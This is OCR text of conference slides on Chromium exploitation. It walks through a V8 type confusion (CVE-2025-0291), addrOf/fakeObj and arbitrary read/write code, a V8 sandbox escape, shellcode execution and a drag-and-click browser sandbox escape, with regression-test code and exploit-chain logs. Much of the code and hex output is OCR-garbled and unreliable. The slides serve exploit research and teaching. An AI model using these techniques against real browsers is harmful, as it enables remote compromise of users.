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V8 basics: garbage collection
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1. V8 memory corruption

- map: BxB3I56 ap[i16 KED_DOUBLE_ELEMEMNTS)» [FastProperties]
prototype i

elements: BxE <FixedDoubleArray[1]: [PACKED _DOUBLE ELEMEMTS]
length: 1
E <FixedArray[@]:
ding elements): {
in ReadOnlySpace: #length: 8x835688
[6]: #length>, data= sor descriptor, attrs: [W__]), location: descriptor
1

- elements: B8xB356868848769 (FixedDoubleArraw[l]:» {
g: 13.37

8:8868> .scriptload C:\src\v8\wi\tools\windbg.js
V8 d€V€|0per shell: d8 JavaScript script successfully loaded from 'C:\src\v8\v8\tools\windbg.js"

0:000> !job(8x835600048769)
Be88835680848769: [FixedDoubleArray]

- map: ©x8356080088d1 <Map(FIXED DOUBLE ARRAY TYPE)>

- length: 1

a: 13.37

@%job(8x035600048769)
8:806> dd exB35600843763
gee0e356" BB848768 0OB068d1 68008602 aidieaid 482abd7e

7 /30




1. V8 memory corruption

- map: BxB3I56 ap[i16 KED_DOUBLE_ELEMEMNTS)» [FastProperties]
prototype i

elements: BxE <FixedDoubleArray[1]: [PACKED _DOUBLE ELEMEMTS]
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- map: BxB3I56 ap[i16 KED_DOUBLE_ELEMEMNTS)» [FastProperties]
prototype i

elements: BxE <FixedDoubleArray[1]: [PACKED _DOUBLE ELEMEMTS]
length: 1
E <FixedArray[@]:
ding elements): {
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ge8e8356 BP848768 O0B08Edl 28080082 a3dieaid 482abd7e
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B:0008> !job(Bx835688848765)
Be88835680848769: [FixedDoubleArray]

- map: (Bx8356880008d1 <Map(FIXED DOUBLE_ARRAY TYPE)>

- length: 1
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1. V8 memory corruption
V8 basics: debugging

Civsrchvs

Bhouthxbd . releasesds.exe --allow-natives-syntax

h
dg: let arr
undefined

T AE : [16] ¢ OUBLE ELEMENTSY» [FastProperties]
protot 3

elements: @: AE 9 ¢FixedDoubleArray[1]:> [PACKED DOUBLE ELEMEMNTS]
length: 1

properties: 8xB35688888775 <FixedArray[8]:
A1l own pr fexcluding elemen ]
slslslsle ing] in ReadOnlySpace: #length: &: 6EEE262681 <AccessorInfo name= BxE3CEOG0E0

data= 8xB8356880608569 <undefined::» (const accessor descriptor, attrs: [W__])., location: descriptor

BEE68487608) <FixedDoubledrray[1]:> |

B:088> .scriptload C:Hsrciv%&vsﬂtnblshwindhg.j5
V8 d€V€|0per shell: d8 JavaScript script successfully loaded from 'C:\src\v8\v8\tools\windbg.js"

p:608> |job(ExE35600848769)
Be88835680848769: [FixedDoubleArray]
- map: (BxB356888888d1 <Map(FIXED DOUBLE_ARRAY TYPE)>
- length: | 1
@: 13.37
@%job(8x935600048769)
B:8008> dd |[8xe35680042768)
PAGRA356" 648768 (PBERARd1)(@reABEA2 a3d7Ra3d 402ahd7P

7 /30




1. V8 memory corruption
V8 basics: debugging
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V8 d€V€|0per shell: d8 JavaScript script successfully loaded from 'C:\src\v8\v8\tools\windbg.js"
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Be88835680848769: [FixedDoubleArray]
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- length: | 1
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1. V8 memory corruption
addror() & fakeObj() primitives: overview

let arr

[13.37, 13.37, ..

]; =====- >

JSArray at 0x1234

(

Map pointer

\

Properties pointer

Elements pointer

Length

FixedDoubleArray

(

Map Pointer

\

Length

Float Element O

Float Element 1

&

Float Element N...

J

8/30




1. V8 memory corruption
addror() & fakeObj() primitives: overview

let arr =

Exploitation primitives:
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1. V8 memory corruption
addror() & fakeObj() primitives: patch gapping CVE-2025-0291

Stable Channel Update for Desktop
Tuesday, January 7, 2025

The Stable channel has been updated to 131.0.6778.264/.265 for Windows, Mac
and 131.0.6778.264 for Linux which will roll out over the coming days/weeks. A full

list of changes in this build is available in the Log.

Security Fixes and Rewards

Note: Access to bug details and links may be kept restricted until a majority of users
are updated with a fix. We will also refain resirictions if the bug exists in a third party
library that other projects similarly depend on, but haven't yet fixed.

This update includes 4 security fixes. Below, we highlight fixes that were contributed
by external researchers. Please see the Chrome Security Page for more information.

[$55000][383356864] High CVE-2025-0291: Type Confusion in V8. Reported by
Popax21 on 2024-12-11
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1. V8 memory corruption
addrOor() & fakeObj() primitives: patch gapping CVE-2025-0291

Stable Channel Update for Desktop
Tuesday, January 7, 2025

The Stable channel has been updated to 131.0.6778.264/.265 for Windows, Mac
and 131.0.6778.264 for Linux which will roll out over the coming days/weeks. A full

list of changes in this build is available in the Log.

Access is denied to this issue

Security Fixes and Rewards
Note: Access to bug details and links may be kept restricted until a majority of users
are updated with a fix. We will also refain resirictions if the bug exists in a third party
library that other projects similarly depend on, but haven't yet fixed.

Access to this issue may be resolved by signing in.

This update includes 4 security fixes. Below, we highlight fi ere contributed
by external researchers. Please see the C rity Page for more information.

[$55000][383356864] High CVE-2025-0291: Type Confusion in V8. Reported by
Popax21 on 2024-12-11
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addrOor() & fakeObj() primitives: patch gapping CVE-2025-0291
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cog7op ~ Lturboshaftliwasm] WasmGCTypeAnalyzer: Fix phi input for single-block loops (O Create Reland

Change Info Show All ¥

Submitted Dec 12,2024
owner @ Matthias Liedtke

Uploader @ vsLucica
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1. V8 memory corruption
adaror() & fakeObj() primitives: confuse me!

regress-383356864.js 4 KExprLocalGet, O,
kGCPrefix, kExprStructSet, $structo, o,

kExprLocalGet, 1,

blob: cfa2265fc7960ffbl27aa9fe8375ad9f31delb86 [file] [log] [blame]
kExprCallFunction, external_funco,

// Copyright 2025 the V8 project authors. All rights reserved. kExprLocalGet, 2,

// Use of this source code is governed by a BSD-style license that can be kExprLocalSet, 1,
// found in the LICENSE file. kExprLocalGet, 3,
kExprLocalSet, 2,
// Flags: --allow-natives-syntax --no-wasm-loop-unrolling kExprLocalGet, 4,
kExprLocalSet, 3,
7 d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js'); kExprBr, O,
4 kExprEnd,
const builder = new WasmModuleBuilder(); kExprUnreachable,

let $structe =
builder.addStruct([makeField (kWasmI32, true)], KNoSuperType, true);
12 let $structl =
builder.addStruct([makeField (kWasmExternRef, true)], kNoSuperType, true);
let $sig2 = builder.addType(makeSig(kwasmAnyRef], []));
let $sig3 = builder.addType(kSig_v_i);
let $sig4 = builder.addType(makeSig([kWasmAnyRef], [kWasmExternRef]));
let external_func® = builder.addImport('js', 'external_func', $sig2);
let doitl = builder.addFunction(undefined, $sig3).exportAs('doit');
let read2 = builder.addFunction(undefined, $sig4).exportAs('read');

1);

read2.addBody ( [
kExprLocalGet, 0,
kGCPrefix, kExprRefCast, $structl,
kGCPrefix, kExprStructGet, $structl, o,
1);

let call_count = 03
let wasm_inst = builder.instantiate({
"ys': {
doitl.addLocals(kWasmAnyRef, 4) "external_func": (ref) => {
.addBody ([

kGCPrefix, kExprStructNewDefault, $structo,
KExprLocalSet, 1,

2 kGCPrefix, kExprStructNewDefault, $structo,
kExprLocalSet, 2,
kGCPrefix, KExprStructNewDefault, $structo,
kExprLocalSet, 3,
kGCPrefix, kExprStructNewDefault, $structl,
kExprLocalSet, 4,
kExprLoop, kWasmVoid,

kExprLocalGet, 1,

kGCPrefix, kExprRefCast, $structo,

call_count += 1:
if (call_count == 4) {
fakeobj = wasm_inst.exports['read'](ref);

throw 'unreachable';

}
1

let doit = wasm_inst.exports['doit'];
‘WasmTierUpFunction(doit);

assertTraps(kTrapIllegalCast, () => doit(0));
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kExprLocalSet, 3,
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kExprLocalSet, 4,
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if (call_count == 4) {
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// Copyright 2025 the V8 project authors. All rights reserved. kExprLocalGet, 2,
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kExprLocalSet, 3,
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kExprEnd,
const builder = new WasmModuleBuilder(); kExprUnreachable,
let $structe = 1)5
builder.addStruct([makeField (kWwasmI32, true)], kNoSuperType, true);
let $structl = read2.addBody ([
builder.addStruct([makeField (kWasmExternRef, true)], kNoSuperType, true); kExprLocalGet, O,
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kExprLocalSet, 2, }
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regress-383356864.js KExprLocalGet, O,
kGCPrefix, kExprStructSet, $structe, o,

kExprLocalGet, 1,
[kExprCallFunction, external_func@,]

blob: cfa2265fc7960ffbl27aa9fe8375ad9f31delb86 [file] [log] [blame]

// Copyright 2025 the V8 project authors. All rights reserved. kExprLocalGet, 2,
// Use of this source code is governed by a BSD-style license that can be kExprLocalSet, 1,
// found in the LICENSE file. kExprLocalGet, 3,
kExprLocalSet, 2,
// Flags: --allow-natives-syntax --no-wasm-loop-unrolling kExprLocalGet, 4,
kExprLocalSet, 3,
d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js'); kExprBr, O,
kExprEnd,
const builder = new WasmModuleBuilder(); kExprUnreachable,
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1. V8 memory corruption
adaror() & fakeObj() primitives: confuse me!
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1. V8 memory corruption
addrOor() & fakeObj() primitives: regress = quick win?
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1. V8 memory corruption
addrOor() & fakeObj() primitives: regress = quick win?

Merged 6321930 ~ [turbofan] Fix TransitionElementsKindOrCheckMap O

Change Info Show All

Submitted Mar 04

Owner @ Marja Holtta

Uploader BV LUcicq Take into account that TransitionElementsKindOrCheckMap might change the
Reviewers (@ Darius Mercad_ @) @V8LUCICQ) T of an aliasing object.

cC dmercadier+w... vB-reviews(@g.. h/t dmercadier® for figuring out the fix.

[turbofan] Fix TransitionElementsKindOrCheckMap

Repo | Branch v8/v8 | main

: ; Bug: 480852777
« FOR THE BUG THAT WAS Hashtags turbofan Change-Td: I87ac56858591619736dcc2d8f7355a7a34echbc?
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1. V8 memory corruption
Arbitrary read/write: crafting fake objects

FixedDoubleArray __ ( Vs Point A
at 0x1234 - 0x18 R Y
Length ‘\‘
\
Float Element O \
1
1
Float Element 1 !
> 9
JSArray . :
-------- >
at Ox1234 Map pointer I
I
Properties pointer ,'
Ill
Elements pointer ¢
Length
\_ J
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1. V8 memory corruption
Arbitrary read/write: crafting fake objects

FixedDoubleArray __ ( oo port A
at 0x1234 - 0x18 21 eiliess A

Length

Float Element 0 holder = [

— Map, Properties float(map, properties),
: float(elements, 1)

Float Element 1

| = Elements, Length=1 ) ]

JSArray 4 ) holder_addr = addrOf(holder)

at 0x1234 *  Map pointer

fake = fakeObj(holder addr - 0x10)
Properties pointer

/ // fake[@] = ??

Elements pointer ¢

Length
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1. V8 memory corruption
Arbitrary read/write: retrieve valid map/properties

4 )
holder = | Map Pointer
float (SENNPROPEREIES ) ,
float(elements, 1) Length
]
= How to guess valid map/properties pointers? ilo_at s ementy

Float Element 1
| = Elements, Length=1 )
’ N

Map pointer

Properties pointer

Elements pointer

Length

. J
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1. V8 memory corruption
Arbitrary read/write: retrieve valid map/properties

4 )
holder = | Map Pointer
float ([iEENPRODSIGGS ) ,
float(elements, 1) Length
]
= How to guess valid map/properties pointers? Float Element 0

Float Element 1

: / —/, kHeapNumberMap
fake_num = fakeObj(holder_addr - 0x4) > <
Map pointer
for (k=0; k<0x1000; k++) {
holder[1] = float(9, k) Properties pointer
if (typeof fake_num == “number”) {
// we found kHeapNumberMap Elements pointer
// fake_num = map/properties pointers
} Length
} . y,
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1. V8 memory corruption

Arbitrary read/write: reliable primitives

> ArrayBuffer & DataView
= more reliable & comprehensive read/write

buf = new ArrayBuffer(1)
memory = new ArrayBuffer(buf)

// overwrite buffer start address (0x0)
// & length (kMaxBytelLength)
memory.getUint32(addr)
memory.setUint32(addr, val)
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Arbitrary read/write: reliable primitives

> ArrayBuffer & DataView ( | b
= more reliable & comprehensive read/write Map Pointer ™
\
buf = new ArrayBuffer(1l) Length \
memory = new ArrayBuffer(buf) \
Float Element 0 \
// overwrite buffer start address (0x0) |
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1. V8 memory corruption
Arbitrary read/write: reliable primitives

> ArrayBuffer & DataView ( | b
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\
buf = new ArrayBuffer(1l) Length \
memory = new ArrayBuffer(buf) \
Float Element 0 \
// overwrite buffer start address (0x0) |
// & length (kMaxBytelength) Float Element 1 :
memory.getU%ntBZ(addr) > < i
memory.setUint32(addr, val) Map pointer i
I
.- Properties pointer Il'
U
holder [ Cy?? ] — cry» [l ,I
! Elements pointer o
/
<« Length




1. V8 memory corruption
Arbitrary read/write: reliable primitives

> ArrayBuffer & DataView

= more reliable & comprehensive read/write

buf = new ArrayBuffer(1)
memory = new ArrayBuffer(buf)

// & length (kMaxBytelLength)
memory.getUint32(addr)
memory.setUint32(addr, val)

// overwrite buffer start address (0x0)

Map Pointer

Length

Float Element 0

Y

Float Element 1

Map pointer

AN

Properties pointer

Elements pointer

Length
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1. V8 memory corruption

Arbitrary read/write: reliable primitives

> ArrayBuffer & DataView
= more reliable & comprehensive read/write

buf = new ArrayBuffer(1)
memory = new ArrayBuffer(buf)

// overwrite buffer start address (0x0)
// & length (kMaxBytelLength)

memory.getUint32(addr)
memory.setUint32(addr, val)

e J =

> Reliable addrOf() & fakeObj()

holder[0]

holder[“x"]
(float)

(object) holder[“x”] = “y

J

Map Pointer

Length

Float Element 0

Y

Float Element 1

Map pointer

AN

Properties pointer

Elements pointer

Length
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2. Heap sandboXx escape

V8 heap sandbox design
Unsandboxed read/write
Code execution
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2. Heap sandbox escape
V8 heap sandbox design

Trusted Ptr Table

0 | Type + Ptr / TRUSTED CAGE \
1| Type + Ptr

V8 SANDBOX
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2. Heap sandbox escape
V8 heap sandbox design

Trusted Ptr Table

0 | Type + Ptr / TRUSTED CAGE \
1| Type + Ptr

V8 SANDBOX

Code Ptr Table
0 | Ptr
1| Ptr

External Ptr Table
0 | Type + Ptr \

1| Type + Ptr k /
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2. Heap sandbox escape
Unsandboxed read/write: issue 379140430

[3 Chromium = Blink = JavaScript = WebAssembly 379140430 -

& € ¢+ V8 Sandbox Bypass: ARR/W by sig confusion in WasmToJsWrapper tier-up with in-sandbox Tuple2 corruption

Comments (6) Dependencies (0) Duplicates (0) Blocking (0) Resources (5)

a DESCRIPTION se...(@gmail.com created issue #1 Nov 15, 2024 07:28AM

VULNERABILITY DETAILS

Summary

V8 sandbox bypass, arbitrary address read/write via WASM signature confusion in Wasm-to-JS wrapper tier-up with in-sandbox Tuple2 corruption.

Similar bug class with b/354408144 where we transitively trust a trusted-to-untrusted reference.

Trusted Ptr Table
»=W 0] Type + Ptr

V8 SANDBOX

é TRUSTED CAGE A

1| Type + Ptr
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2. Heap sandbox escape
Unsandboxed read/write: confuse me again

» When calling a ]S function from WASM, a wrapper converts arguments and
return values, but it may rely on a signature index referenced in the sandbox
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2. Heap sandbox escape
Unsandboxed read/write: confuse me again

» When calling a ]S function from WASM, a wrapper converts arguments and
return values, but it may rely on a signature index referenced in the sandbox

» Signature Confusion

[ func(int64) — int64 j _ [ func(int64) — struct j
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2. Heap sandbox escape
Unsandboxed read/write: confuse me again

» When calling a ]S function from WASM, a wrapper converts arguments and
return values, but it may rely on a signature index referenced in the sandbox

» Signature Confusion

[ func(int64) — int64 j _ [ func(int64) — stru:g

get() / set()

» Arbitrary unsandboxed read/write
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2. Heap sandbox escape
Code execution: leak unsandboxed pointers

[ func() —; j

%Signature Confusion

func(varl, var2, var3...)
— varl, var2, var3...

We leak registers & stack!
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func() —;

Signature Confusion

func(varl, var2, var3...)
— varl, var2, var3...

Breakpoint 1 hit
PP0Me297 7T3c1386 55
0:000> r
rax=0068002e/700000069
rdx=000002977f3c1380
rip=000002977f3c1380
r8=000800000000B026
ril=fdfsbfffbce2effd
rl4=000002e700000000
iopl=06 nv up

€s=08033 s55=082b ds=002b

PPREe297 7f3c1388 55
@:0e@> dq rsp

2. Heap sandbox escape
Code execution: leak unsandboxed pointers

push

rbx=008002154bf1f5e8
rsi=eeeee1ceddd4c529
rsp=00eeeva33s53tes560
ro=e00041d3903df384
rl2=p000000000000000
ri5=000002e70031cddl
ei pl nz na pe nc

push

rbp

rcx=008001cedBB4c529
rdi=ee0ee2977f3f2308
rbp=000eena3353fe780
rle=0080e000000000000
r13=000002154bea9vs8e

es=082b fs=8853 gs=082b

rbp

We leak registers & stack!

PPPeeva3” 353Te560
PPRLEBa3 353Te570
000eeva3” 353Te530
PPORELa3” 353fe590
00000eRa3” 353feS5and
©PBeeva3 353feShe
PPPAeBa3” 353Te5co
PPeAeva3” 353Te5de

00880297 7312333
008080215  4bea’eee
000002e7 8031cddl
00e8e215 4bf305e0
00000019 00000001
0eeee215" 4bf1f550
000PPRE0 " 0PBRREA3
00000215 4beadewd

000Re2e7 0021b544
00PPeva3 353feb28
eepe7ff7 blfbe7af
000002e7 0PO2478C
00000215 4bf305e0
000041d3" 983dtfb4a
00Peeva3” 353fe6ds
00000215 4bf1f548

efl-00000202
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func() —;

Signature Confusion

func(varl, var2, var3...)
— varl, var2, var3...

Breakpoint 1 hit
PP0Me297 7T3c1386 55
0:000> r
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rdx=000002977f3c1380
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r8=000800000000B026
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rl4=000002e700000000
iopl=06 nv up
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2. Heap sandbox escape
Code execution: leak unsandboxed pointers

push

rbx=008002154bf1f5e8
rsi=eeeee1ceddd4c529
rsp=00eeeva33s53tes560
ro=e00041d3903df384
rl2=p000000000000000
ri5=000002e70031cddl
ei pl nz na pe nc

push

rbp

rcx=000001cedBB4c529
rdi=ee0ee2977f3f2308
rbp=000eena3353fe780
rle=0080e000000000000
r13=000002154bea9vs8e

es=082b fs=8853 gs=082b

rbp

PPPeeva3” 353Te560
PPRLEBa3 353Te570
000eeva3” 353Te530
PPORELa3” 353fe590
00000eRa3” 353feS5and
©PBeeva3 353feShe
PPPAeBa3” 353Te5co
PPeAeva3” 353Te5de

00880297 7312333
008080215  4bea’eee
000002e7 8031cddl
00e8e215 4bf305e0
00000019 00000001
0eeee215" 4bf1f550
000PPRE0 " 0PBRREA3
00000215 4beadewd

000Re2e7 0021b544
00PPeva3 353feb28
eepe7ff7 blfbe7af
000002e7 0PO2478C
00000215 4bf305e0
000041d3" 983dtfb4a
00Peeva3” 353fe6ds
00000215 4bf1f548

efl-00000202

©:000> dv 1solate
isolate = 9x00000215 4bea900d
@:000> dt dg8lv8::internal::IsolateData trusted cage base ©x80000215 4bea%00@
+0x26@ trusted cage base : ©x000001lce 0OBBOOOD

We leak registers & stack!
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2. Heap sandbox escape

Code execution: hunt the egg to RWX

V8 SANDBOX Trusted Ptr Table

/ TRUSTED CAGE \

I" 0 | Type + Ptr

-

RWX MEMORY PAGE
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2. Heap sandbox escape
Code execution: hunt the egg to RWX

/ TRUSTED CAGE \

V8 SANDBOX Trusted Ptr Table
»W» 0] Type + Ptr

-

L )/
Arbitrary

RWX MEMORY PAGE Write
Shellcode
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2. Heap sandbox escape
Code execution: RCE in v8

Current log lewel: ©
Loading utils/utils.]s
Loading utils/symbols.ds
Loading utils/wasm-module-bullder.js=
Loading wulns/memcor /CYE-2825-8291.]s
[+] Successfully achieved memory corruption using CWE-2825-8291 i
Loading w8/cage.js & Caleulatrice
[i] Crafting sbxMemory dataview & stage 2 primitives
[+] Found kHeapMumberMap: &x56d — Programmeur
[+] Found float array headers: 8x7758818d145
[+] Successfully crafted sbxMemory dataview
[+] Successfully bootstrapped stage 2 addrOfi() & fakelbj{) primitives
Loading w8/helpers.Jjs
Loading wulns/wBshx/379148438. s
[+] Found object with pattern 8x8x1415,8x21bcb9,8x2 at Bx21bedt 1n W8 sandboxed heap
[+] Leaked an address in the trusted cage: 8xc48884c499
[+] Found object with pattern 8x8x14f5,8x3965e9,8x2 at B8x396a81 in W8 sandboxed heap
[+] Successfully escaped the W8 sandbox using 1ssue 379148438
Loading rwx/memory.js
Loading rwx/helpers/trusted-rux.js
[1] Trusted cage leak: TRUSTED_CAGE_BASE=8xc4 88888888, TRUSTED _CAGE_SAFE_START=0xc48688486808, TRUSTED CAGE_SAFE_END=8xc4 88680085
[+] Leaked RWX memory page at 8x236185f1888 and SAMDBOY,_BASE=8x38888888808
Loading rwx/shellcodes.js
[i] Loading shellcodes
[+] Retrieved a RWX stub for 2 args at B8x23618681866
[+] Retrieved a RWX stub for 3 args at Bx23618el11868
[+] Retrieved a RWX stub for 2 args at 8x23618681868
Loading wulns/implant.js
[+] 5tored 26 bytes of data at B8x381688686128
[+] Module °‘KERMEL32.DLL" is at @x7fffcdeagses
[+] 5tored & bytes of data at B8x30166686268
[+] Export 'WinExec' is at 8x1288
[+] Stored 5 bytes of data at Bx30106680238
[1] Calling natlve function: Bx7Ffffcd6al288{8x3018888602586,0x8)
[+] Retrieved a RWX stub for 3 args at 8x23618el11868
Successfully cleaned sbxMemory
Exploit chain done, exlt cleanly




3. Browser sandbox escape

Browser sandbox design
Evade the sandbox
Exploit demo




3. Browser sandbox escape
Browser sandbox design: overview

( B

> Network Process Medium Integrity
> GPU Process Low Integrity
Services Processes ] :
IPC :>[ (storage, extensions...) ) Untrusted Integrlty
(Mojo) i:>[ AendlEE [Fereea v;wwv Untrusted Integrity

+ restrictive Job object
+ alternate desktop

+ Win32k.sys lockdown
+ font loading disabled

Renderer Process '|:?/:vw_

<4

[

Renderer Process |www
L
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3. Browser sandbox escape
Browser sandbox design: attack surface

» We can still run a shellcode... but can’t do much with it

Calculatrice
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3. Browser sandbox escape
Browser sandbox design: attack surface

» We can still run a shellcode... but can’t do much with it

» But we can:
 Fingerprint the target (loaded DLLs’ build numbers, CPUID...)
« Run internal renderer’s functions, enable MojoJsS...
« Interact with the browser process through Mojo
 Interact with the OS through some features (syscalls, RPC...)
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3. Browser sandbox escape
Browser sandbox design: attack surface

» We can still run a shellcode... but can’t do much with it

» But we can:
- Fingerprint the target (loaded DLLs' build numbers, CPUID...) MiraclePtr

« Run internal renderer’s functions, enable MojoJsS... w
 Interact with the browser process through MojO == == == == == == == P Jse @fi ! ree

 Interact with the OS through some features (syscalls, RPC...)
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3. Browser sandbox escape
Evade the sandbox: CVE-2024-11114

— “Compromised renderer can control your mouse and escape sbx”
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3. Browser sandbox escape
Evade the sandbox: CVE-2024-11114

— “Compromised renderer can control your mouse and escape sbx”

Renderer (

Browser

StartDragging
((x,y), kTouchDrag)

___________ ,y[ MouseDown j
"

StartTouchDrag(X, y) J -
; - [ MouseMove

((x,y), kTouchDrag)

StartDragging E - mm u) [ ::DoDragDrop() j

~
T FinishTouchDrag(x, y) J - [ MouseUp J
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((x,y), kTouchDrag)
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70 0\>
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StartDragging —— .
((xy), kTouchDrag) E 'P[ ::DoDragDrop() j ‘
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3. Browser sandbox escape
Evade the sandbox: drag & click!

NtRaiseHardError
NTSYSAPI
NTSTATL.
NTAPT
NtRaiseHar dError (
IN NTSTATUS ErrorStatus,
IN ULONG NumberOfParameters,
IN PUNICODE STRING UnicodeStringParameterMask OPTIONAL,
IN PVOID *Parameters,

IN HARDERROR RESPONSE OPTION ResponseCption,
OUT PHARDERROR RESPONSE Response ) ;

“NtRaiseHardError is easy way to display message
in GUI without loading Win32 API libraries.”
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3. Browser sandbox escape
Evade the sandbox: drag & click!

NtRaiseHardError StartDragging _ -
( ((x,y), kTouchDrag) J V[..DoDragDrop()j

NTSTATUS ",

ﬂ“\\\
lelelelelele dError ( + [ MsgBOX(timeout= 1) j

IN NTSTATUS ErrorStatus,
IN ULONG NumberOfParameters,

IN PUNICODE STRING UnicodeStringParameterMask OPTIONAL,
IN PVOID *Parameters,

IN HARDERROR RESPONSE OPTION ResponseCption,
OUT PHARDERROR RESPONSE Response ) ; -

Complete!

“NtRaiseHardError is easy way to display message
in GUI without loading Win32 API libraries.”
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3. Browser sandbox escape
Evade the sandbox: drag & click!

NtRaiseHardError StartDragging _ -
( ((x,y), kTouchDrag) J V[..DoDragDrop()j

ll,’

) S

NtRaiseHardError( + [ MsgBox(timeout=1) j

IN NTSTATUS ErrorStatus,
IN ULONG NumberOfParameters,

IN PUNICODE STRING UnicodeStringParameterMask OPTIONAL,
IN PVOID *Parameters,
IN HARDERROR RESPONSE OPTION ResponseCption,

OUT PHARDERROR RESPONSE Response ) ; -

Complete!

“NtRaiseHardError is easy way to display message
in GUI without loading Win32 API libraries.”

MouseDown + Move (Xx,y) + MouseUp
+ MouseDown + Move (x,y) + MouseUp
= Click at (x,y)
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3. Browser sandbox escape
Evade the sandbox: run the final payload

Windows protected your PC

Microsoft Defender SmartScreen prevented an unrecognized app from
starting. Running this app might put your PC at risk.
More info
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3. Browser sandbox escape
Evade the sandbox: run the final payload

Windows protected your PC

creen prevented an unrecognized app from
night put your PC at risk.

payload.bat

Recent download history

7
putty.exe
@f G10KE= Done
© winspool.dry =
[ 101 KB« Done ma|ICIOUS] f

side
&

ad

Full download history
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3. Browser sandbox escape
Exploit demo: chain all the things!

v @ Exploit development testing X + = o X

<« Cc @ localhost:8000 i 3 a

Exploit development testing

[1] Current log level: 2
[i] Loading utils/utils.js
[1] Loading utils/symbols.js
[i] Loading utils/wasm-module-builder.js
[1] Loading vulns/memcor/CVE-2825-8291.js
[+] Successfully achieved memory corruption using CVE-2025-8291
Loading v8/cage.]js
[1] Crafting sbxMemory dataview & stage 2 primitives
[+] Found kHeapNumberMap: @x56d
[+] Found float array headers: @x7750@0115a91
[+] Successfully crafted sbxMemory dataview
[+] Successfully bootstrapped stage 2 addrOf() & fakeObj() primitives
[i] Loading v8/helpers.js
[1i] Loading vulns/v8shx/379148430.]s
[+] Found object with pattern @x0xl4cd,®x34c24d,@x2 at @x34ca25 in V8 sandboxed heap
[+] Leaked an address in the trusted cage: 8x54278084d5ad
[+] Found object with pattern @x@x14cd,®x481391,0x2 at 0x481805 in V8 sandboxed heap
[+] Successfully escaped the V8 sandbox using issue 3795148439
[1i] Loading rwx/memory.Jjs
[1] Loading rwx/helpers/trusted-ruwx.js
[i] Trusted cage leak: TRUSTED_CAGE_BASE=0x542700000000, TRUSTED_CAGE_SAFE_START=8x542700040000, TRUSTED_CAGE_SAFE_END=0x542700030000
[+] Leaked RWX memory page at ®x1lacfb3bl88@ and SANDBOX_BASE=8x3fd00e08808
Loading rwx/shellcodes.js
[1i] Loading shellcodes
Loading sbx/fingerprint.js
[i] Parsing PE at ex7ffclaf5eeee
[+] Fingerprinted browser version: 138.0.6723.168
[1i] Parsing PE at @x7ffce2570000
[+] Fingerprinted 0S version: 16.8.26100.4202 (WinBuild.160161.0860)
[1] Loading vulns/sbx/CVE-2824-11114.]s

[i

(i

[i
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Browser exploitation
From n-days to real-world exploit chains

» Chromium Exploit Development Toolkit:
https://qgithub.com/Petitoto/chromium-exploit-dev

»

Questions?




